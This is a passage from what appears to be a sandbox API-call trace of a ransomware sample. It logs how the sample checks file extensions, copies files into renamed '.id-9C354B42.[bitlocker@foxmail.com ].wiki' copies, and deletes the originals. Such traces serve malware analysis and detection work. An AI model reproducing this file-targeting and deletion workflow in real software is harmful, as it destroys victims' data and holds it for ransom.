(lpString1=".rar", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString=".bz2") returned 4 [0062.529] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0062.529] lstrlenW (lpString=".7z") returned 3 [0062.529] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".dbf") returned 4 [0062.529] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".1cd") returned 4 [0062.530] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0062.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.530] lstrlenW (lpString=".jpg") returned 4 [0062.530] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0062.530] lstrcmpiW (lpString1=".FNT", lpString2=".wiki") returned -1 [0062.530] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0062.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.531] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=606062) returned 1 [0062.531] CloseHandle (hObject=0x238) returned 1 [0062.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0062.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0062.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.531] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.531] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0062.531] GetLastError () returned 0x0 [0062.531] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0063.175] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0063.186] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.186] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.187] SetEndOfFile (hFile=0x234) returned 1 [0063.187] CloseHandle (hObject=0x234) returned 1 [0063.187] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.187] SetEndOfFile (hFile=0x238) returned 1 [0063.192] CloseHandle (hObject=0x238) returned 1 [0063.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.192] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString=".doc") returned 4 [0063.193] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0063.193] lstrlenW (lpString=".docx") returned 5 [0063.193] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0063.193] lstrlenW (lpString=".pdf") returned 4 [0063.193] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0063.193] lstrlenW (lpString=".xls") returned 4 [0063.193] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0063.193] lstrlenW (lpString=".xlsx") returned 5 [0063.193] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0063.193] lstrlenW (lpString=".ppt") returned 4 [0063.193] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString=".zip") returned 4 [0063.193] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0063.193] lstrlenW (lpString=".rar") returned 4 [0063.193] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0063.193] lstrlenW (lpString=".bz2") returned 4 [0063.193] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0063.193] lstrlenW (lpString=".7z") returned 3 [0063.193] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString=".dbf") returned 4 [0063.193] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString=".1cd") returned 4 [0063.193] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0063.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.193] lstrlenW (lpString=".jpg") returned 4 [0063.193] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString=".doc") returned 4 [0063.194] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0063.194] lstrlenW (lpString=".docx") returned 5 [0063.194] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0063.194] lstrlenW (lpString=".pdf") returned 4 [0063.194] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString=".xls") returned 4 [0063.194] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString=".xlsx") returned 5 [0063.194] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0063.194] lstrlenW (lpString=".ppt") returned 4 [0063.194] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString=".zip") returned 4 [0063.194] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString=".rar") returned 4 [0063.194] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0063.194] lstrlenW (lpString=".bz2") returned 4 [0063.194] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0063.194] lstrlenW (lpString=".7z") returned 3 [0063.194] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString=".dbf") returned 4 [0063.194] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString=".1cd") returned 4 [0063.194] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0063.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0063.194] lstrlenW (lpString=".jpg") returned 4 [0063.194] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0063.195] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.195] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0063.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0063.228] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=320384) returned 1 [0063.228] CloseHandle (hObject=0x238) returned 1 [0063.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0063.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0063.228] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.228] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0063.229] GetLastError () returned 0x0 [0063.229] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0063.397] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0063.403] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.403] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.403] SetEndOfFile (hFile=0x234) returned 1 [0063.666] CloseHandle (hObject=0x234) returned 1 [0063.731] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.731] SetEndOfFile (hFile=0x238) returned 1 [0063.770] CloseHandle (hObject=0x238) returned 1 [0063.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0063.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.015] lstrlenW (lpString=".doc") returned 4 [0064.015] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0064.015] lstrlenW (lpString=".docx") returned 5 [0064.015] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0064.015] lstrlenW (lpString=".pdf") returned 4 [0064.015] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0064.015] lstrlenW (lpString=".xls") returned 4 [0064.015] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0064.015] lstrlenW (lpString=".xlsx") returned 5 [0064.015] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0064.015] lstrlenW (lpString=".ppt") returned 4 [0064.015] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0064.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.015] lstrlenW (lpString=".zip") returned 4 [0064.015] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0064.015] lstrlenW (lpString=".rar") returned 4 [0064.016] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString=".bz2") returned 4 [0064.016] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0064.016] lstrlenW (lpString=".7z") returned 3 [0064.016] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString=".dbf") returned 4 [0064.016] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString=".1cd") returned 4 [0064.016] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString=".jpg") returned 4 [0064.016] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString=".doc") returned 4 [0064.016] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0064.016] lstrlenW (lpString=".docx") returned 5 [0064.016] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0064.016] lstrlenW (lpString=".pdf") returned 4 [0064.016] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString=".xls") returned 4 [0064.016] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString=".xlsx") returned 5 [0064.016] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0064.016] lstrlenW (lpString=".ppt") returned 4 [0064.016] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.016] lstrlenW (lpString=".zip") returned 4 [0064.016] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString=".rar") returned 4 [0064.016] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0064.016] lstrlenW (lpString=".bz2") returned 4 [0064.017] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0064.017] lstrlenW (lpString=".7z") returned 3 [0064.017] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0064.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.017] lstrlenW (lpString=".dbf") returned 4 [0064.017] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0064.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.017] lstrlenW (lpString=".1cd") returned 4 [0064.017] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0064.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0064.017] lstrlenW (lpString=".jpg") returned 4 [0064.017] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0064.017] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.017] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.210] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4096) returned 1 [0064.210] CloseHandle (hObject=0x200) returned 1 [0064.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0064.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString=".doc") returned 4 [0064.211] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.211] lstrlenW (lpString=".docx") returned 5 [0064.211] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.211] lstrlenW (lpString=".pdf") returned 4 [0064.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.211] lstrlenW (lpString=".xls") returned 4 [0064.211] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.211] lstrlenW (lpString=".xlsx") returned 5 [0064.211] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.211] lstrlenW (lpString=".ppt") returned 4 [0064.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString=".zip") returned 4 [0064.211] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.211] lstrlenW (lpString=".rar") returned 4 [0064.211] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.211] lstrlenW (lpString=".bz2") returned 4 [0064.211] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.211] lstrlenW (lpString=".7z") returned 3 [0064.211] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString=".dbf") returned 4 [0064.211] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString=".1cd") returned 4 [0064.211] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.211] lstrlenW (lpString=".jpg") returned 4 [0064.211] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString=".doc") returned 4 [0064.212] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.212] lstrlenW (lpString=".docx") returned 5 [0064.212] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.212] lstrlenW (lpString=".pdf") returned 4 [0064.212] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.212] lstrlenW (lpString=".xls") returned 4 [0064.212] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.212] lstrlenW (lpString=".xlsx") returned 5 [0064.212] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.212] lstrlenW (lpString=".ppt") returned 4 [0064.212] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString=".zip") returned 4 [0064.212] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.212] lstrlenW (lpString=".rar") returned 4 [0064.212] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.212] lstrlenW (lpString=".bz2") returned 4 [0064.212] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.212] lstrlenW (lpString=".7z") returned 3 [0064.212] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString=".dbf") returned 4 [0064.212] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString=".1cd") returned 4 [0064.212] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0064.212] lstrlenW (lpString=".jpg") returned 4 [0064.212] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.213] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.213] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0064.302] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4096) returned 1 [0064.302] CloseHandle (hObject=0x1f0) returned 1 [0064.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0064.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0064.303] lstrlenW (lpString=".doc") returned 4 [0064.303] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.303] lstrlenW (lpString=".docx") returned 5 [0064.303] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.303] lstrlenW (lpString=".pdf") returned 4 